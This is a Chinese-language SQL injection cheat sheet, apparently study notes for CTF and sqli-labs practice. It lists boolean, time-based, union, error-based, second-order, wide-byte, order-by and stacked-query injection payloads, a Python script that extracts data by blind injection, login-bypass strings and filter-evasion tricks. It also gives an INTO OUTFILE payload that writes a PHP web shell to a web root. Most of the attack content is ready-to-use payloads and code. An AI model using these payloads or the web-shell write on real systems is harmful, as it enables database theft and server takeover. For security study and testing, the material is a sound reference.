sql注入基础
https://sqliteonline.com/ 在线数据库练习查询
注入常见参数
user()
:当前数据库用户database()
:当前数据库名version()
:当前使用的数据库版本@@datadir
:数据库存储数据路径concat()
:联合数据,用于联合两条数据结果。如concat(username,0x3a,password)
group_concat()
:和concat()
类似,如group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来concat_ws()
:用法类似hex()
和unhex()
:用于 hex 编码解码load_file()
:以文本方式读取文件,在 Windows 中,路径设置为\\
select xxoo into outfile '路径'
:权限较高时可直接写文件
基于布尔的盲注
因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。
bools注入查询语句
id=1' and length(database())=8--+
#判断数据库长度 看回显
id=1' and left(database(),1)="s"--+
#用left函数判断表名的左边第一位
id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()limit 0,1),1,1))>80--+
#猜ascii字 判断表名
基于二分法爆破bools盲注脚本
import requests
url = "http://localhost/sqli-labs-master/Less-5/?id="
flag = ''
for i in range(1,200):
low = 32
high = 127
while low < high:
mid = (low+high)//2
payload1 = "1' and ascii(substr((select database() limit 0,1),{},1))>{}--+".format(i,mid)#security
payload2 = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}--+".format(i,mid)#emails,referers,uagents,users
payload3 = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}--+".format(i,mid)
# emails:id,email_id ,referers:id,referer,ip_address,uagents:id,uagent,ip_address,username ,users:id,username,password,username,passwd,sex,age,email,phone,id
payload4 = "1' and ascii(substr((select group_concat(email_id) from security.emails ),{},1))>{}--+".format(i,mid)
r = requests.get(url=url+payload1)
# print(payload1)
# print(r.text)
if 'You are in' in r.text:
low = mid + 1
else:
high = mid
# print(low,mid,high)
flag += chr(low)
print(flag)
基于时间的盲注
当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点。
时间盲注
常用的判断语句:
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
#判断数据库长度
id=1' and if((length(database())>5),sleep(5),0)--+
#爆数据库
id=1‘ and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
联合查询注入
使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目
联合查询语句
id=-1' union select 1,2,3.....
#返回页面正确确定列
id=-1' union select 1,2,database()
#爆数据库
id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=’security‘--+
#爆表名
id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='uagents'--+
#爆列名
id=-1' union select 1,2 group_concat(id) from security.uagents--+
报错注入
此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。
公式
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));
or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位
and extractvalue(1,concat(0x7e,(select database())))
and exp(~(select * from (select user())a));
and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,4
二次注入
二次注入需要具备的两个条件:
(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户
用这样的payload将数据带出来
0'^(select hex(hex(substr((select * from flag) from {i} for 1))))^'0
两次hex是为了将第一次hex中的字母变成数字,substr是因为如果hex的值太大,sql会变成科学计数法,丢失精度
宽字节注入
- 原理:GBK编码、URL转码
利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
例如:' -> ' -> %5C%27
%df' -> %df' -> %df%5C%27 - sql字符集特性
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。
可以看到大写O和Ö是相等的
-
SQL注入常用URL编码
空格 %20
' %27
# %23
\ %5C -
php-addslashes函数:在特殊字符前加上反斜线\来转义
-
如何从addslashes函数逃逸?
\
前面再加一个\
,变成\\'
,这样\就被转义了- 把\弄没
-
表名或列名可以使用16进制转码来实现
例如:ctf -> 0x637466
sqlmap中加参数--hex
order by 后的注入
order by
由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有 order
或者 order by
的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:
原始链接:http://www.test.com/list.php?order=vote
根据 vote
字段排序。找到投票数最大的票数 num
然后构造以下链接:
http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
看排序是否变化。还有一种方法不需要知道任何字段信息,使用 rand
函数:
http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)
以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:
http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
堆叠查询注入
-
原理:利用
;
结束语句并插入自己的sql语句 -
适用:
- Mysql、SqlServer、Postgresql(Oracle不行)
- 只有当调用数据库函数支持执行多条sql语句时才能够使用,例如mysqli_multi_query()函数就支持多条sql语句同时执行
- PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入
-
例子
利用存储过程绕过select过滤
http://web16.buuoj.cn/? inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;# 使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare") 去掉URL编码后 ?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsq
文件读写注入
select @@secure_file_priv
secure_file_priv
- 1、限制mysqld 不允许导入 | 导出
--secure_file_prive=null
- 2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
--secure_file_priv=/tmp/
- 3、不对mysqld 的导入 | 导出做限制
--secure_file_priv=
load_file
读文件
写文件
select 0x3C3F706870206576616C28245F524551554553545B2761275D293B203F3E into outfile '/var/www/html/1.php'
# <?php eval($_REQUEST['a']); ?>
万能密码
select * from admin where username = '' and password = ''
username | password |
---|---|
admin'# | |
'+' | '+' |
aaa'=' | aaa'=' |
1\ | '^'1 |
'%1# | |
'=0# | |
' or 1=1-- | |
' or 1=1# | |
') or ('1'='1-- |
SQL常用绕过技巧
- 空格
- /**/
- =
- like
- regexp
- !(<>)
- '
- 转义符
\
- 16进制(例如:ctf -> 0x637466)
- 转义符
- ,
- union注入使用join,例如
3' union select * from (select 1) a join (select 2 ) b %23
- substr from for
- if->case when
- union注入使用join,例如
绕过字符串黑名单
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
绕过引号限制
-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)